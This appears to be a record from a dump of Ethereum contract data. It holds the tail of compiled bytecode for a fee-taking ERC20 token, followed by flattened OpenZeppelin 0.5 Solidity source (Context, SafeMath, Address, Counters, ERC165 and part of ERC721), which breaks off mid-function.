1056c9190611b4b565b610ddf565b60019150509392505050565b60006012905090565b6000610628610593610dd7565b8484600260006105a1610dd7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106239190611a6a565b610ddf565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610683610dd7565b73ffffffffffffffffffffffffffffffffffffffff166106a16107b5565b73ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90611978565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107ed90611c07565b80601f016020809104026020016040519081016040528092919081815260200182805461081990611c07565b80156108665780601f1061083b57610100808354040283529160200191610866565b820191906000526020600020905b81548152906001019060200180831161084957829003601f168201915b5050505050905090565b6000600660149054906101000a900460ff16905090565b61088f610dd7565b73ffffffffffffffffffffffffffffffffffffffff166108ad6107b5565b73ffffffffffffffffffffffffffffffffffffffff1614610903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fa90611978565b60405180910390fd5b61090d8282611236565b5050565b60008060026000610920610dd7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d4906119f8565b60405180910390fd5b6109fa6109e8610dd7565b8585846109f59190611b4b565b610ddf565b600191505092915050565b6000610a19610a12610dd7565b8484610faa565b6001905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a55610dd7565b73ffffffffffffffffffffffffffffffffffffffff16610a736107b5565b73ffffffffffffffffffffffffffffffffffffffff1614610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac090611978565b60405180910390fd5b80600660146101000a81548160ff021916908360ff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b76610dd7565b73ffffffffffffffffffffffffffffffffffffffff16610b946107b5565b73ffffffffffffffffffffffffffffffffffffffff1614610bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be190611978565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610c36610dd7565b73ffffffffffffffffffffffffffffffffffffffff16610c546107b5565b73ffffffffffffffffffffffffffffffffffffffff1614610caa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca190611978565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d11906118f8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e46906119d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ebf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb690611918565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f9d9190611a18565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561101a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611011906119b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561108a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611081906118b8565b60405180910390fd5b61109583838361140c565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561111c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111390611938565b60405180910390fd5b81816111289190611b4b565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111ba9190611a6a565b925050819055506111cb8383611411565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112289190611a18565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d90611998565b60405180910390fd5b6112b28260008361140c565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611339576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611330906118d8565b60405180910390fd5b81816113459190611b4b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461139a9190611b4b565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113ff9190611a18565b60405180910390a3505050565b505050565b60006064600660149054906101000a900460ff1660ff16836114339190611af1565b61143d9190611ac0565b905080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461148e9190611b4b565b925050819055508060016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115069190611a6a565b92505081905550505050565b60008135905061152181612016565b92915050565b6000813590506115368161202d565b92915050565b60008135905061154b81612044565b92915050565b60006020828403121561156357600080fd5b600061157184828501611512565b91505092915050565b6000806040838503121561158d57600080fd5b600061159b85828601611512565b92505060206115ac85828601611512565b9150509250929050565b6000806000606084860312156115cb57600080fd5b60006115d986828701611512565b93505060206115ea86828701611512565b92505060406115fb86828701611527565b9150509250925092565b6000806040838503121561161857600080fd5b600061162685828601611512565b925050602061163785828601611527565b9150509250929050565b60006020828403121561165357600080fd5b60006116618482850161153c565b91505092915050565b61167381611b7f565b82525050565b61168281611b91565b82525050565b600061169382611a4e565b61169d8185611a59565b93506116ad818560208601611bd4565b6116b681611cc6565b840191505092915050565b60006116ce602383611a59565b91506116d982611cd7565b604082019050919050565b60006116f1602283611a59565b91506116fc82611d26565b604082019050919050565b6000611714602683611a59565b915061171f82611d75565b604082019050919050565b6000611737602283611a59565b915061174282611dc4565b604082019050919050565b600061175a602683611a59565b915061176582611e13565b604082019050919050565b600061177d602883611a59565b915061178882611e62565b604082019050919050565b60006117a0602083611a59565b91506117ab82611eb1565b602082019050919050565b60006117c3602183611a59565b91506117ce82611eda565b604082019050919050565b60006117e6602583611a59565b91506117f182611f29565b604082019050919050565b6000611809602483611a59565b915061181482611f78565b604082019050919050565b600061182c602583611a59565b915061183782611fc7565b604082019050919050565b61184b81611bbd565b82525050565b61185a81611bc7565b82525050565b6000602082019050611875600083018461166a565b92915050565b60006020820190506118906000830184611679565b92915050565b600060208201905081810360008301526118b08184611688565b905092915050565b600060208201905081810360008301526118d1816116c1565b9050919050565b600060208201905081810360008301526118f1816116e4565b9050919050565b6000602082019050818103600083015261191181611707565b9050919050565b600060208201905081810360008301526119318161172a565b9050919050565b600060208201905081810360008301526119518161174d565b9050919050565b6000602082019050818103600083015261197181611770565b9050919050565b6000602082019050818103600083015261199181611793565b9050919050565b600060208201905081810360008301526119b1816117b6565b9050919050565b600060208201905081810360008301526119d1816117d9565b9050919050565b600060208201905081810360008301526119f1816117fc565b9050919050565b60006020820190508181036000830152611a118161181f565b9050919050565b6000602082019050611a2d6000830184611842565b92915050565b6000602082019050611a486000830184611851565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611a7582611bbd565b9150611a8083611bbd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ab557611ab4611c39565b5b828201905092915050565b6000611acb82611bbd565b9150611ad683611bbd565b925082611ae657611ae5611c68565b5b828204905092915050565b6000611afc82611bbd565b9150611b0783611bbd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b4057611b3f611c39565b5b828202905092915050565b6000611b5682611bbd565b9150611b6183611bbd565b925082821015611b7457611b73611c39565b5b828203905092915050565b6000611b8a82611b9d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611bf2578082015181840152602081019050611bd7565b83811115611c01576000848401525b50505050565b60006002820490506001821680611c1f57607f821691505b60208210811415611c3357611c32611c97565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61201f81611b7f565b811461202a57600080fd5b50565b61203681611bbd565b811461204157600080fd5b50565b61204d81611bc7565b811461205857600080fd5b5056fea2646970667358221220ff45909898436c053863e335dd9dfae9f3dd365846c04dae66ddf87ff2a9a78864736f6c63430008040033
[ 38 ]
0xf2bb62391b016c88600f16727bcbd3c7834d94dd
// File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.5.0; /** * @dev Required interface of an ERC721 compliant contract. */ contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) public view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) public view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.5.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/drafts/Counters.sol pragma solidity ^0.5.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.5.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][to] = approved; emit ApprovalForAll(_msgSender(), to, approved); } /** * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the _msgSender() to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransferFrom(from, to, tokenId, _data); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal { _transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { 